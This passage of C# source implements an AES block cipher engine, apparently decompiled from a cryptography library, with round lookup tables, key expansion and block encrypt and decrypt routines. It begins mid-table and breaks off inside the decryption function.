1200539975u, 4042984432u, 2906778797u, 3568527316u, 2724199842u, 2940594863u, 2619588508u, 2756966308u, 1927583346u, 3231407040u, 3077948087u, 4259388669u, 2470293139u, 642542118u, 913070646u, 1065238847u, 4160029431u, 3431157708u, 879254580u, 2773611685u, 3855693029u, 4059629809u, 1910674289u, 3635114968u, 828527409u, 355090197u, 67636228u, 3348452039u, 591815971u, 3281870531u, 405809176u, 2520228246u, 84545285u, 2586817946u, 118360327u, 304363026u, 2149292928u, 3806281186u, 3956090603u, 659450151u, 2994720178u, 1978310517u, 152181513u, 2199756419u, 743994412u, 439627290u, 456535323u, 1859957358u, 1521806938u, 2690382752u, 1386542674u, 997608763u, 3602342358u, 3011366579u, 693271337u, 3822927587u, 794718511u, 2215876484u, 1403450707u, 3518589137u, 0u, 3988860141u, 541089824u, 4242743292u, 2977548465u, 1538714971u, 1792327274u, 3415033547u, 3194476990u, 963791673u, 1251270218u, 1285084236u, 1487988824u, 3481619151u, 3501943760u, 4022676207u, 2857362858u, 4226619131u, 1132905795u, 1301993293u, 862344499u, 2232521861u, 1166724933u, 4192801017u, 33818114u, 2147385727u, 1352724560u, 1014514748u, 2670049951u, 2823545768u, 1369633617u, 2740846243u, 1082179648u, 2399505039u, 2453646738u, 2636233885u, 946882616u, 4126213365u, 3160661948u, 3061301686u, 3668932058u, 557998881u, 270544912u, 4293204735u, 4093447923u, 3535760850u, 3447803085u, 202904588u, 321271059u, 3972214764u, 1606345055u, 2536874647u, 1149815876u, 388905239u, 3297990596u, 2807427751u, 2130477694u, 1031423805u, 1690872932u, 1572530013u, 422718233u, 1944491379u, 1623236704u, 2165938305u, 1335808335u, 3701702620u, 574907938u, 710180394u, 2419829648u, 2282455944u, 1183631942u, 4006029806u, 3094074296u, 338181140u, 3735517662u, 1589437022u, 185998603u, 3685578459u, 3772464096u, 845436466u, 980700730u, 169090570u, 1234361161u, 101452294u, 608726052u, 1555620956u, 3265224130u, 3552407251u, 2890133420u, 1657054818u, 2436475025u, 2503058581u, 3839047652u, 2045938553u, 3889509095u, 3364570056u, 929978679u, 1843050349u, 2365688973u, 3585172693u, 1318900302u, 2840191145u, 1826141292u, 1454176854u, 4109567988u, 3939444202u, 1707781989u, 2062847610u, 2923948462u, 135272456u, 3127891386u, 2029029496u, 625635109u, 777810478u, 473441308u, 2790781350u, 3027486644u, 3331805638u, 3905627112u, 3718347997u, 1961401460u, 524165407u, 1268178251u, 3177307325u, 2332919435u, 2316273034u, 1893765232u, 1048330814u, 3044132021u, 1724688998u, 1217452104u, 50726147u, 4143383030u, 236720654u, 1640145761u, 896163637u, 1471084887u, 3110719673u, 2249691526u, 3248052417u, 490350365u, 2653403550u, 3789109473u, 4176155640u, 2553000856u, 287453969u, 1775418217u, 3651760345u, 2382858638u, 2486413204u, 2603464347u, 507257374u, 2266337927u, 3922272489u, 3464972750u, 1437269845u, 676362280u, 3752164063u, 2349043596u, 2707028129u, 2299101321u, 219813645u, 3211123391u, 3872862694u, 1115997762u, 1758509160u, 1099088705u, 2569646233u, 760903469u, 253628687u, 2960903088u, 1420360788u, 3144537787u, 371997206u }; private static readonly uint[] T3 = new uint[256] { 3332727651u, 4169432188u, 4003034999u, 4136467323u, 4279104242u, 3602738027u, 3736170351u, 2438251973u, 1615867952u, 33751297u, 3467208551u, 1451043627u, 3877240574u, 3043153879u, 1306962859u, 3969545846u, 2403715786u, 530416258u, 2302724553u, 4203183485u, 4011195130u, 3001768281u, 2395555655u, 4211863792u, 1106029997u, 3009926356u, 1610457762u, 1173008303u, 599760028u, 1408738468u, 3835064946u, 2606481600u, 1975695287u, 3776773629u, 1034851219u, 1282024998u, 1817851446u, 2118205247u, 4110612471u, 2203045068u, 1750873140u, 1374987685u, 3509904869u, 4178113009u, 3801313649u, 2876496088u, 1649619249u, 708777237u, 135005188u, 2505230279u, 1181033251u, 2640233411u, 807933976u, 933336726u, 168756485u, 800430746u, 235472647u, 607523346u, 463175808u, 3745374946u, 3441880043u, 1315514151u, 2144187058u, 3936318837u, 303761673u, 496927619u, 1484008492u, 875436570u, 908925723u, 3702681198u, 3035519578u, 1543217312u, 2767606354u, 1984772923u, 3076642518u, 2110698419u, 1383803177u, 3711886307u, 1584475951u, 328696964u, 2801095507u, 3110654417u, 0u, 3240947181u, 1080041504u, 3810524412u, 2043195825u, 3069008731u, 3569248874u, 2370227147u, 1742323390u, 1917532473u, 2497595978u, 2564049996u, 2968016984u, 2236272591u, 3144405200u, 3307925487u, 1340451498u, 3977706491u, 2261074755u, 2597801293u, 1716859699u, 294946181u, 2328839493u, 3910203897u, 67502594u, 4269899647u, 2700103760u, 2017737788u, 632987551u, 1273211048u, 2733855057u, 1576969123u, 2160083008u, 92966799u, 1068339858u, 566009245u, 1883781176u, 4043634165u, 1675607228u, 2009183926u, 2943736538u, 1113792801u, 540020752u, 3843751935u, 4245615603u, 3211645650u, 2169294285u, 403966988u, 641012499u, 3274697964u, 3202441055u, 899848087u, 2295088196u, 775493399u, 2472002756u, 1441965991u, 4236410494u, 2051489085u, 3366741092u, 3135724893u, 841685273u, 3868554099u, 3231735904u, 429425025u, 2664517455u, 2743065820u, 1147544098u, 1417554474u, 1001099408u, 193169544u, 2362066502u, 3341414126u, 1809037496u, 675025940u, 2809781982u, 3168951902u, 371002123u, 2910247899u, 3678134496u, 1683370546u, 1951283770u, 337512970u, 2463844681u, 201983494u, 1215046692u, 3101973596u, 2673722050u, 3178157011u, 1139780780u, 3299238498u, 967348625u, 832869781u, 3543655652u, 4069226873u, 3576883175u, 2336475336u, 1851340599u, 3669454189u, 25988493u, 2976175573u, 2631028302u, 1239460265u, 3635702892u, 2902087254u, 4077384948u, 3475368682u, 3400492389u, 4102978170u, 1206496942u, 270010376u, 1876277946u, 4035475576u, 1248797989u, 1550986798u, 941890588u, 1475454630u, 1942467764u, 2538718918u, 3408128232u, 2709315037u, 3902567540u, 1042358047u, 2531085131u, 1641856445u, 226921355u, 260409994u, 3767562352u, 2084716094u, 1908716981u, 3433719398u, 2430093384u, 100991747u, 4144101110u, 470945294u, 3265487201u, 1784624437u, 2935576407u, 1775286713u, 395413126u, 2572730817u, 975641885u, 666476190u, 3644383713u, 3943954680u, 733190296u, 573772049u, 3535497577u, 2842745305u, 126455438u, 866620564u, 766942107u, 1008868894u, 361924487u, 3374377449u, 2269761230u, 2868860245u, 1350051880u, 2776293343u, 59739276u, 1509466529u, 159418761u, 437718285u, 1708834751u, 3610371814u, 2227585602u, 3501746280u, 2193834305u, 699439513u, 1517759789u, 504434447u, 2076946608u, 2835108948u, 1842789307u, 742004246u }; private static readonly uint[] Tinv0 = new uint[256] { 1353184337u, 1399144830u, 3282310938u, 2522752826u, 3412831035u, 4047871263u, 2874735276u, 2466505547u, 1442459680u, 4134368941u, 2440481928u, 625738485u, 4242007375u, 3620416197u, 2151953702u, 2409849525u, 1230680542u, 1729870373u, 2551114309u, 3787521629u, 41234371u, 317738113u, 2744600205u, 3338261355u, 3881799427u, 2510066197u, 3950669247u, 3663286933u, 763608788u, 3542185048u, 694804553u, 1154009486u, 1787413109u, 2021232372u, 1799248025u, 3715217703u, 3058688446u, 397248752u, 1722556617u, 3023752829u, 407560035u, 2184256229u, 1613975959u, 1165972322u, 3765920945u, 2226023355u, 480281086u, 2485848313u, 1483229296u, 436028815u, 2272059028u, 3086515026u, 601060267u, 3791801202u, 1468997603u, 715871590u, 120122290u, 63092015u, 2591802758u, 2768779219u, 4068943920u, 2997206819u, 3127509762u, 1552029421u, 723308426u, 2461301159u, 4042393587u, 2715969870u, 3455375973u, 3586000134u, 526529745u, 2331944644u, 2639474228u, 2689987490u, 853641733u, 1978398372u, 971801355u, 2867814464u, 111112542u, 1360031421u, 4186579262u, 1023860118u, 2919579357u, 1186850381u, 3045938321u, 90031217u, 1876166148u, 4279586912u, 620468249u, 2548678102u, 3426959497u, 2006899047u, 3175278768u, 2290845959u, 945494503u, 3689859193u, 1191869601u, 3910091388u, 3374220536u, 0u, 2206629897u, 1223502642u, 2893025566u, 1316117100u, 4227796733u, 1446544655u, 517320253u, 658058550u, 1691946762u, 564550760u, 3511966619u, 976107044u, 2976320012u, 266819475u, 3533106868u, 2660342555u, 1338359936u, 2720062561u, 1766553434u, 370807324u, 179999714u, 3844776128u, 1138762300u, 488053522u, 185403662u, 2915535858u, 3114841645u, 3366526484u, 2233069911u, 1275557295u, 3151862254u, 4250959779u, 2670068215u, 3170202204u, 3309004356u, 880737115u, 1982415755u, 3703972811u, 1761406390u, 1676797112u, 3403428311u, 277177154u, 1076008723u, 538035844u, 2099530373u, 4164795346u, 288553390u, 1839278535u, 1261411869u, 4080055004u, 3964831245u, 3504587127u, 1813426987u, 2579067049u, 4199060497u, 577038663u, 3297574056u, 440397984u, 3626794326u, 4019204898u, 3343796615u, 3251714265u, 4272081548u, 906744984u, 3481400742u, 685669029u, 646887386u, 2764025151u, 3835509292u, 227702864u, 2613862250u, 1648787028u, 3256061430u, 3904428176u, 1593260334u, 4121936770u, 3196083615u, 2090061929u, 2838353263u, 3004310991u, 999926984u, 2809993232u, 1852021992u, 2075868123u, 158869197u, 4095236462u, 28809964u, 2828685187u, 1701746150u, 2129067946u, 147831841u, 3873969647u, 3650873274u, 3459673930u, 3557400554u, 3598495785u, 2947720241u, 824393514u, 815048134u, 3227951669u, 935087732u, 2798289660u, 2966458592u, 366520115u, 1251476721u, 4158319681u, 240176511u, 804688151u, 2379631990u, 1303441219u, 1414376140u, 3741619940u, 3820343710u, 461924940u, 3089050817u, 2136040774u, 82468509u, 1563790337u, 1937016826u, 776014843u, 1511876531u, 1389550482u, 861278441u, 323475053u, 2355222426u, 2047648055u, 2383738969u, 2302415851u, 3995576782u, 902390199u, 3991215329u, 1018251130u, 1507840668u, 1064563285u, 2043548696u, 3208103795u, 3939366739u, 1537932639u, 342834655u, 2262516856u, 2180231114u, 1053059257u, 741614648u, 1598071746u, 1925389590u, 203809468u, 2336832552u, 1100287487u, 1895934009u, 3736275976u, 2632234200u, 2428589668u, 1636092795u, 1890988757u, 1952214088u, 1113045200u }; private static readonly uint[] Tinv1 = new uint[256] { 2817806672u, 1698790995u, 2752977603u, 1579629206u, 1806384075u, 1167925233u, 1492823211u, 65227667u, 4197458005u, 1836494326u, 1993115793u, 1275262245u, 3622129660u, 3408578007u, 1144333952u, 2741155215u, 1521606217u, 465184103u, 250234264u, 3237895649u, 1966064386u, 4031545618u, 2537983395u, 4191382470u, 1603208167u, 2626819477u, 2054012907u, 1498584538u, 2210321453u, 561273043u, 1776306473u, 3368652356u, 2311222634u, 2039411832u, 1045993835u, 1907959773u, 1340194486u, 2911432727u, 2887829862u, 986611124u, 1256153880u, 823846274u, 860985184u, 2136171077u, 2003087840u, 2926295940u, 2692873756u, 722008468u, 1749577816u, 4249194265u, 1826526343u, 4168831671u, 3547573027u, 38499042u, 2401231703u, 2874500650u, 686535175u, 3266653955u, 2076542618u, 137876389u, 2267558130u, 2780767154u, 1778582202u, 2182540636u, 483363371u, 3027871634u, 4060607472u, 3798552225u, 4107953613u, 3188000469u, 1647628575u, 4272342154u, 1395537053u, 1442030240u, 3783918898u, 3958809717u, 3968011065u, 4016062634u, 2675006982u, 275692881u, 2317434617u, 115185213u, 88006062u, 3185986886u, 2371129781u, 1573155077u, 3557164143u, 357589247u, 4221049124u, 3921532567u, 1128303052u, 2665047927u, 1122545853u, 2341013384u, 1528424248u, 4006115803u, 175939911u, 256015593u, 512030921u, 0u, 2256537987u, 3979031112u, 1880170156u, 1918528590u, 4279172603u, 948244310u, 3584965918u, 959264295u, 3641641572u, 2791073825u, 1415289809u, 775300154u, 1728711857u, 3881276175u, 2532226258u, 2442861470u, 3317727311u, 551313826u, 1266113129u, 437394454u, 3130253834u, 715178213u, 3760340035u, 387650077u, 218697227u, 3347837613u, 2830511545u, 2837320904u, 435246981u, 125153100u, 3717852859u, 1618977789u, 637663135u, 4117912764u, 996558021u, 2130402100u, 692292470u, 3324234716u, 4243437160u, 4058298467u, 3694254026u, 2237874704u, 580326208u, 298222624u, 608863613u, 1035719416u, 855223825u, 2703869805u, 798891339u, 817028339u, 1384517100u, 3821107152u, 380840812u, 3111168409u, 1217663482u, 1693009698u, 2365368516u, 1072734234u, 746411736u, 2419270383u, 1313441735u, 3510163905u, 2731183358u, 198481974u, 2180359887u, 3732579624u, 2394413606u, 3215802276u, 2637835492u, 2457358349u, 3428805275u, 1182684258u, 328070850u, 3101200616u, 4147719774u, 2948825845u, 2153619390u, 2479909244u, 768962473u, 304467891u, 2578237499u, 2098729127u, 1671227502u, 3141262203u, 2015808777u, 408514292u, 3080383489u, 2588902312u, 1855317605u, 3875515006u, 3485212936u, 3893751782u, 2615655129u, 913263310u, 161475284u, 2091919830u, 2997105071u, 591342129u, 2493892144u, 1721906624u, 3159258167u, 3397581990u, 3499155632u, 3634836245u, 2550460746u, 3672916471u, 1355644686u, 4136703791u, 3595400845u, 2968470349u, 1303039060u, 76997855u, 3050413795u, 2288667675u, 523026872u, 1365591679u, 3932069124u, 898367837u, 1955068531u, 1091304238u, 493335386u, 3537605202u, 1443948851u, 1205234963u, 1641519756u, 211892090u, 351820174u, 1007938441u, 665439982u, 3378624309u, 3843875309u, 2974251580u, 3755121753u, 1945261375u, 3457423481u, 935818175u, 3455538154u, 2868731739u, 1866325780u, 3678697606u, 4088384129u, 3295197502u, 874788908u, 1084473951u, 3273463410u, 635616268u, 1228679307u, 2500722497u, 27801969u, 3003910366u, 3837057180u, 3243664528u, 2227927905u, 3056784752u, 1550600308u, 1471729730u }; private static readonly uint[] Tinv2 = new uint[256] { 4098969767u, 1098797925u, 387629988u, 658151006u, 2872822635u, 2636116293u, 4205620056u, 3813380867u, 807425530u, 1991112301u, 3431502198u, 49620300u, 3847224535u, 717608907u, 891715652u, 1656065955u, 2984135002u, 3123013403u, 3930429454u, 4267565504u, 801309301u, 1283527408u, 1183687575u, 3547055865u, 2399397727u, 2450888092u, 1841294202u, 1385552473u, 3201576323u, 1951978273u, 3762891113u, 3381544136u, 3262474889u, 2398386297u, 1486449470u, 3106397553u, 3787372111u, 2297436077u, 550069932u, 3464344634u, 3747813450u, 451248689u, 1368875059u, 1398949247u, 1689378935u, 1807451310u, 2180914336u, 150574123u, 1215322216u, 1167006205u, 3734275948u, 2069018616u, 1940595667u, 1265820162u, 534992783u, 1432758955u, 3954313000u, 3039757250u, 3313932923u, 936617224u, 674296455u, 3206787749u, 50510442u, 384654466u, 3481938716u, 2041025204u, 133427442u, 1766760930u, 3664104948u, 84334014u, 886120290u, 2797898494u, 775200083u, 4087521365u, 2315596513u, 4137973227u, 2198551020u, 1614850799u, 1901987487u, 1857900816u, 557775242u, 3717610758u, 1054715397u, 3863824061u, 1418835341u, 3295741277u, 100954068u, 1348534037u, 2551784699u, 3184957417u, 1082772547u, 3647436702u, 3903896898u, 2298972299u, 434583643u, 3363429358u, 2090944266u, 1115482383u, 2230896926u, 0u, 2148107142u, 724715757u, 287222896u, 1517047410u, 251526143u, 2232374840u, 2923241173u, 758523705u, 252339417u, 1550328230u, 1536938324u, 908343854u, 168604007u, 1469255655u, 4004827798u, 2602278545u, 3229634501u, 3697386016u, 2002413899u, 303830554u, 2481064634u, 2696996138u, 574374880u, 454171927u, 151915277u, 2347937223u, 3056449960u, 504678569u, 4049044761u, 1974422535u, 2582559709u, 2141453664u, 33005350u, 1918680309u, 1715782971u, 4217058430u, 1133213225u, 600562886u, 3988154620u, 3837289457u, 836225756u, 1665273989u, 2534621218u, 3330547729u, 1250262308u, 3151165501u, 4188934450u, 700935585u, 2652719919u, 3000824624u, 2249059410u, 3245854947u, 3005967382u, 1890163129u, 2484206152u, 3913753188u, 4238918796u, 4037024319u, 2102843436u, 857927568u, 1233635150u, 953795025u, 3398237858u, 3566745099u, 4121350017u, 2057644254u, 3084527246u, 2906629311u, 976020637u, 2018512274u, 1600822220u, 2119459398u, 2381758995u, 3633375416u, 959340279u, 3280139695u, 1570750080u, 3496574099u, 3580864813u, 634368786u, 2898803609u, 403744637u, 2632478307u, 1004239803u, 650971512u, 1500443672u, 2599158199u, 1334028442u, 2514904430u, 4289363686u, 3156281551u, 368043752u, 3887782299u, 1867173430u, 2682967049u, 2955531900u, 2754719666u, 1059729699u, 2781229204u, 2721431654u, 1316239292u, 2197595850u, 2430644432u, 2805143000u, 82922136u, 3963746266u, 3447656016u, 2434215926u, 1299615190u, 4014165424u, 2865517645u, 2531581700u, 3516851125u, 1783372680u, 750893087u, 1699118929u, 1587348714u, 2348899637u, 2281337716u, 201010753u, 1739807261u, 3683799762u, 283718486u, 3597472583u, 3617229921u, 2704767500u, 4166618644u, 334203196u, 2848910887u, 1639396809u, 484568549u, 1199193265u, 3533461983u, 4065673075u, 337148366u, 3346251575u, 4149471949u, 4250885034u, 1038029935u, 1148749531u, 2949284339u, 1756970692u, 607661108u, 2747424576u, 488010435u, 3803974693u, 1009290057u, 234832277u, 2822336769u, 201907891u, 3034094820u, 1449431233u, 3413860740u, 852848822u, 1816687708u, 3100656215u }; private static readonly uint[] Tinv3 = new uint[256] { 1364240372u, 2119394625u, 449029143u, 982933031u, 1003187115u, 535905693u, 2896910586u, 1267925987u, 542505520u, 2918608246u, 2291234508u, 4112862210u, 1341970405u, 3319253802u, 645940277u, 3046089570u, 3729349297u, 627514298u, 1167593194u, 1575076094u, 3271718191u, 2165502028u, 2376308550u, 1808202195u, 65494927u, 362126482u, 3219880557u, 2514114898u, 3559752638u, 1490231668u, 1227450848u, 2386872521u, 1969916354u, 4101536142u, 2573942360u, 668823993u, 3199619041u, 4028083592u, 3378949152u, 2108963534u, 1662536415u, 3850514714u, 2539664209u, 1648721747u, 2984277860u, 3146034795u, 4263288961u, 4187237128u, 1884842056u, 2400845125u, 2491903198u, 1387788411u, 2871251827u, 1927414347u, 3814166303u, 1714072405u, 2986813675u, 788775605u, 2258271173u, 3550808119u, 821200680u, 598910399u, 45771267u, 3982262806u, 2318081231u, 2811409529u, 4092654087u, 1319232105u, 1707996378u, 114671109u, 3508494900u, 3297443494u, 882725678u, 2728416755u, 87220618u, 2759191542u, 188345475u, 1084944224u, 1577492337u, 3176206446u, 1056541217u, 2520581853u, 3719169342u, 1296481766u, 2444594516u, 1896177092u, 74437638u, 1627329872u, 421854104u, 3600279997u, 2311865152u, 1735892697u, 2965193448u, 126389129u, 3879230233u, 2044456648u, 2705787516u, 2095648578u, 4173930116u, 0u, 159614592u, 843640107u, 514617361u, 1817080410u, 4261150478u, 257308805u, 1025430958u, 908540205u, 174381327u, 1747035740u, 2614187099u, 607792694u, 212952842u, 2467293015u, 3033700078u, 463376795u, 2152711616u, 1638015196u, 1516850039u, 471210514u, 3792353939u, 3236244128u, 1011081250u, 303896347u, 235605257u, 4071475083u, 767142070u, 348694814u, 1468340721u, 2940995445u, 4005289369u, 2751291519u, 4154402305u, 1555887474u, 1153776486u, 1530167035u, 2339776835u, 3420243491u, 3060333805u, 3093557732u, 3620396081u, 1108378979u, 322970263u, 2216694214u, 2239571018u, 3539484091u, 2920362745u, 3345850665u, 491466654u, 3706925234u, 233591430u, 2010178497u, 728503987u, 2845423984u, 301615252u, 1193436393u, 2831453436u, 2686074864u, 1457007741u, 586125363u, 2277985865u, 3653357880u, 2365498058u, 2553678804u, 2798617077u, 2770919034u, 3659959991u, 1067761581u, 753179962u, 1343066744u, 1788595295u, 1415726718u, 4139914125u, 2431170776u, 777975609u, 2197139395u, 2680062045u, 1769771984u, 1873358293u, 3484619301u, 3359349164u, 279411992u, 3899548572u, 3682319163u, 3439949862u, 1861490777u, 3959535514u, 2208864847u, 3865407125u, 2860443391u, 554225596u, 4024887317u, 3134823399u, 1255028335u, 3939764639u, 701922480u, 833598116u, 707863359u, 3325072549u, 901801634u, 1949809742u, 4238789250u, 3769684112u, 857069735u, 4048197636u, 1106762476u, 2131644621u, 389019281u, 1989006925u, 1129165039u, 3428076970u, 3839820950u, 2665723345u, 1276872810u, 3250069292u, 1182749029u, 2634345054u, 22885772u, 4201870471u, 4214112523u, 3009027431u, 2454901467u, 3912455696u, 1829980118u, 2592891351u, 930745505u, 1502483704u, 3951639571u, 3471714217u, 3073755489u, 3790464284u, 2050797895u, 2623135698u, 1430221810u, 410635796u, 1941911495u, 1407897079u, 1599843069u, 3742658365u, 2022103876u, 3397514159u, 3107898472u, 942421028u, 3261022371u, 376619805u, 3154912738u, 680216892u, 4282488077u, 963707304u, 148812556u, 3634160820u, 1687208278u, 2069988555u, 3580933682u, 1215585388u, 3494008760u }; private const uint m1 = 2155905152u; private const uint m2 = 2139062143u; private const uint m3 = 27u; private int ROUNDS; private uint[,] WorkingKey; private uint C0; private uint C1; private uint C2; private uint C3; private bool forEncryption; private const int BLOCK_SIZE = 16; public string AlgorithmName => "AES"; public bool IsPartialBlockOkay => false; private uint Shift(uint r, int shift) { return (r >> shift) | (r << 32 - shift); } private uint FFmulX(uint x) { return ((x & 0x7F7F7F7F) << 1) ^ (((uint)((int)x & -2139062144) >> 7) * 27); } private uint Inv_Mcol(uint x) { uint num = FFmulX(x); uint num2 = FFmulX(num); uint num3 = FFmulX(num2); uint num4 = x ^ num3; return num ^ num2 ^ num3 ^ Shift(num ^ num4, 8) ^ Shift(num2 ^ num4, 16) ^ Shift(num4, 24); } private uint SubWord(uint x) { return (uint)(S[x & 0xFF] | (S[(x >> 8) & 0xFF] << 8) | (S[(x >> 16) & 0xFF] << 16) | (S[(x >> 24) & 0xFF] << 24)); } private uint[,] GenerateWorkingKey(byte[] key, bool forEncryption) { int num = key.Length / 4; if ((num != 4 && num != 6 && num != 8) || num * 4 != key.Length) { throw new ArgumentException("Key length not 128/192/256 bits."); } ROUNDS = num + 6; uint[,] array = new uint[ROUNDS + 1, 4]; int num2 = 0; int num3 = 0; while (num3 < key.Length) { array[num2 >> 2, num2 & 3] = Pack.LE_To_UInt32(key, num3); num3 += 4; num2++; } int num4 = ROUNDS + 1 << 2; for (int i = num; i < num4; i++) { uint num5 = array[i - 1 >> 2, (i - 1) & 3]; if (i % num == 0) { num5 = (SubWord(Shift(num5, 8)) ^ rcon[i / num - 1]); } else if (num > 6 && i % num == 4) { num5 = SubWord(num5); } array[i >> 2, i & 3] = (array[i - num >> 2, (i - num) & 3] ^ num5); } if (!forEncryption) { for (int j = 1; j < ROUNDS; j++) { for (int k = 0; k < 4; k++) { array[j, k] = Inv_Mcol(array[j, k]); } } } return array; } public void Init(bool forEncryption, ICipherParameters parameters) { if (!(parameters is KeyParameter)) { throw new ArgumentException("invalid parameter passed to AES init - " + parameters.GetType().ToString()); } WorkingKey = GenerateWorkingKey(((KeyParameter)parameters).GetKey(), forEncryption); this.forEncryption = forEncryption; } public int GetBlockSize() { return 16; } public int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) { if (WorkingKey == null) { throw new InvalidOperationException("AES engine not initialised"); } if (inOff + 16 > input.Length) { throw new DataLengthException("input buffer too short"); } if (outOff + 16 > output.Length) { throw new DataLengthException("output buffer too short"); } UnPackBlock(input, inOff); if (forEncryption) { EncryptBlock(WorkingKey); } else { DecryptBlock(WorkingKey); } PackBlock(output, outOff); return 16; } public void Reset() { } private void UnPackBlock(byte[] bytes, int off) { C0 = Pack.LE_To_UInt32(bytes, off); C1 = Pack.LE_To_UInt32(bytes, off + 4); C2 = Pack.LE_To_UInt32(bytes, off + 8); C3 = Pack.LE_To_UInt32(bytes, off + 12); } private void PackBlock(byte[] bytes, int off) { Pack.UInt32_To_LE(C0, bytes, off); Pack.UInt32_To_LE(C1, bytes, off + 4); Pack.UInt32_To_LE(C2, bytes, off + 8); Pack.UInt32_To_LE(C3, bytes, off + 12); } private void EncryptBlock(uint[,] KW) { C0 ^= KW[0, 0]; C1 ^= KW[0, 1]; C2 ^= KW[0, 2]; C3 ^= KW[0, 3]; int num = 1; uint num2; uint num3; uint num4; uint num5; while (num < ROUNDS - 1) { num2 = (T0[C0 & 0xFF] ^ T1[(C1 >> 8) & 0xFF] ^ T2[(C2 >> 16) & 0xFF] ^ T3[C3 >> 24] ^ KW[num, 0]); num3 = (T0[C1 & 0xFF] ^ T1[(C2 >> 8) & 0xFF] ^ T2[(C3 >> 16) & 0xFF] ^ T3[C0 >> 24] ^ KW[num, 1]); num4 = (T0[C2 & 0xFF] ^ T1[(C3 >> 8) & 0xFF] ^ T2[(C0 >> 16) & 0xFF] ^ T3[C1 >> 24] ^ KW[num, 2]); num5 = (T0[C3 & 0xFF] ^ T1[(C0 >> 8) & 0xFF] ^ T2[(C1 >> 16) & 0xFF] ^ T3[C2 >> 24] ^ KW[num++, 3]); C0 = (T0[num2 & 0xFF] ^ T1[(num3 >> 8) & 0xFF] ^ T2[(num4 >> 16) & 0xFF] ^ T3[num5 >> 24] ^ KW[num, 0]); C1 = (T0[num3 & 0xFF] ^ T1[(num4 >> 8) & 0xFF] ^ T2[(num5 >> 16) & 0xFF] ^ T3[num2 >> 24] ^ KW[num, 1]); C2 = (T0[num4 & 0xFF] ^ T1[(num5 >> 8) & 0xFF] ^ T2[(num2 >> 16) & 0xFF] ^ T3[num3 >> 24] ^ KW[num, 2]); C3 = (T0[num5 & 0xFF] ^ T1[(num2 >> 8) & 0xFF] ^ T2[(num3 >> 16) & 0xFF] ^ T3[num4 >> 24] ^ KW[num++, 3]); } num2 = (T0[C0 & 0xFF] ^ T1[(C1 >> 8) & 0xFF] ^ T2[(C2 >> 16) & 0xFF] ^ T3[C3 >> 24] ^ KW[num, 0]); num3 = (T0[C1 & 0xFF] ^ T1[(C2 >> 8) & 0xFF] ^ T2[(C3 >> 16) & 0xFF] ^ T3[C0 >> 24] ^ KW[num, 1]); num4 = (T0[C2 & 0xFF] ^ T1[(C3 >> 8) & 0xFF] ^ T2[(C0 >> 16) & 0xFF] ^ T3[C1 >> 24] ^ KW[num, 2]); num5 = (T0[C3 & 0xFF] ^ T1[(C0 >> 8) & 0xFF] ^ T2[(C1 >> 16) & 0xFF] ^ T3[C2 >> 24] ^ KW[num++, 3]); C0 = (uint)(S[num2 & 0xFF] ^ (S[(num3 >> 8) & 0xFF] << 8) ^ (S[(num4 >> 16) & 0xFF] << 16) ^ (S[num5 >> 24] << 24) ^ (int)KW[num, 0]); C1 = (uint)(S[num3 & 0xFF] ^ (S[(num4 >> 8) & 0xFF] << 8) ^ (S[(num5 >> 16) & 0xFF] << 16) ^ (S[num2 >> 24] << 24) ^ (int)KW[num, 1]); C2 = (uint)(S[num4 & 0xFF] ^ (S[(num5 >> 8) & 0xFF] << 8) ^ (S[(num2 >> 16) & 0xFF] << 16) ^ (S[num3 >> 24] << 24) ^ (int)KW[num, 2]); C3 = (uint)(S[num5 & 0xFF] ^ (S[(num2 >> 8) & 0xFF] << 8) ^ (S[(num3 >> 16) & 0xFF] << 16) ^ (S[num4 >> 24] << 24) ^ (int)KW[num, 3]); } private void DecryptBlock(uint[,] KW) { C0 ^= KW[ROUNDS, 0]; C1 ^= KW[ROUNDS, 1]; C2 ^= KW[ROUNDS, 2]; C3 ^= KW[ROUNDS, 3]; int num = ROUNDS - 1; uint num2; uint num3; uint num4; uint num5; while (num > 1) { num2 = (Tinv0[C0 & 0xFF] ^ Tinv1[(C3 >> 8) & 0xFF] ^ Tinv2[(C2 >> 16) & 0xFF] ^ Tinv3[C1 >> 24] ^ KW[num, 0]); num3 = (Tinv0[C1 & 0xFF] ^ Tinv1[(C0 >> 8) & 0xFF] ^ Tinv2[(C3 >> 16) & 0xFF] ^ Tinv3[C2 >> 24] ^ KW[num, 1]); num4 = (Tinv0[C2 & 0xFF] ^ Tinv1[(C1 >> 8) & 0xFF] ^ Tinv2[(C0 >> 16) & 0xFF] ^ Tinv3[C3 >> 24] ^ KW[num, 2]); num5 = (Tinv0[C3 & 0xFF] ^ Tinv1[(C2 >> 8) & 0xFF] ^ Tinv2[(C1 >> 16) & 0xFF] ^ Tinv3[C0 >> 24] ^ KW[num--, 3]); C0 = (Tinv0[num2 & 0xFF] ^ Tinv1[(num5 >> 8) & 0xFF] ^ Tinv2[(num4 >> 16) & 0xFF] ^ Tinv3[num3 >> 24] ^ KW[num, 0]); C1 = (Tinv0[num3 & 0xFF] ^ Tinv1[(num2 >> 8) & 0xFF] ^ Tinv2[(num5 >> 16) & 0xFF] ^ Tinv3[num4 >> 24] ^ KW[num, 1]); C2 = (Tinv0[num4 & 0xFF] ^ Tinv1[(num3 >> 8) & 0xFF] ^ Tinv2[(num2 >> 16) & 0xFF] ^ Tinv3[num5 >> 24] ^ KW[num, 2]); C3 = (Tinv0[num5 & 0xFF] ^ Tinv1[(num4 >> 8) & 0xFF] ^ Tinv2[(num3 >> 16) & 0xFF] ^ Tinv3[num2 >> 24] ^ KW[num--, 3]); } num2 = (Tinv0[C0 & 0xFF] ^ Tinv1[(C3 >> 8) & 0xFF] ^ Tinv2[(C2 >> 16) & 0xFF] ^ Tinv3[C1 >> 24] ^ KW[num, 0]); num3 = (Tinv0[C1 & 0xFF] ^ Tinv1[(C0 >> 8) & 0xFF] ^ Tinv2[(C3 >> 16) & 0xFF] ^ Tinv3[C2 >> 24] ^ KW[num, 1]); num4 = (Tinv0[C2 & 0xFF] ^ Tinv1[(C1 >> 8) & 0xFF] ^ Tinv2[(C0 >> 16) & 0xFF] ^ Tinv3[C3 >> 24] ^ KW[num, 2]); num5 = (Tinv0[C3 & 0xFF] ^ Tinv1[(C2 >> 8) & 0xFF] ^ Tinv2[(C1 >> 16) & 0xFF] ^ Tinv3[C0 >> 24] ^ KW[num, 3]); C0 = (uint)(Si[num2 & 0xFF] ^ (Si[(num5 >> 8) & 0xFF] << 8) ^ (Si[(num4 >> 16) & 0xFF] << 16) ^ (Si[num3 >> 24] << 24) ^ (int)KW[0, 0]); C1 = (uint)(Si[num3 